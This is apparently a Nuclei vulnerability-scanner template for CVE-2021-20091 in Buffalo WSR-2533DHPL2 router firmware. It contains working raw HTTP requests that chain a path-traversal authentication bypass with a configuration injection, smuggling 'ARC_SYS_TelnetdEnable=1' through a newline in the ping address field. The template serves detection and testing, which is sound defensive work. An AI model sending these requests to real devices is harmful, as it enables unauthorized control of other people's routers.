nuclei-templates/cves/2021/CVE-2021-20091.yaml

51 lines
1.8 KiB
YAML

id: CVE-2021-20091
info:
name: Buffalo WSR-2533DHPL2 - Configuration File Injection
author: gy741,pdteam,parth
severity: high
description: |
The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially gaining remote code execution.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-20091
- https://www.tenable.com/security/research/tra-2021-13
- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
tags: cve,cve2021,buffalo,firmware,iot
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.80
cve-id: CVE-2021-20091
requests:
- raw:
- |
GET /images/..%2finfo.html HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}/info.html
- |
POST /images/..%2fapply_abstract.cgi HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}/info.html
Content-Type: application/x-www-form-urlencoded
action=start_ping&httoken={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}}&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4
matchers-condition: and
matchers:
- type: word
part: header
words:
- "/Success.htm"
- type: status
status:
- 302
extractors:
- type: regex
name: httoken
internal: true
group: 1
regex:
- 'base64\,(.*?)" border='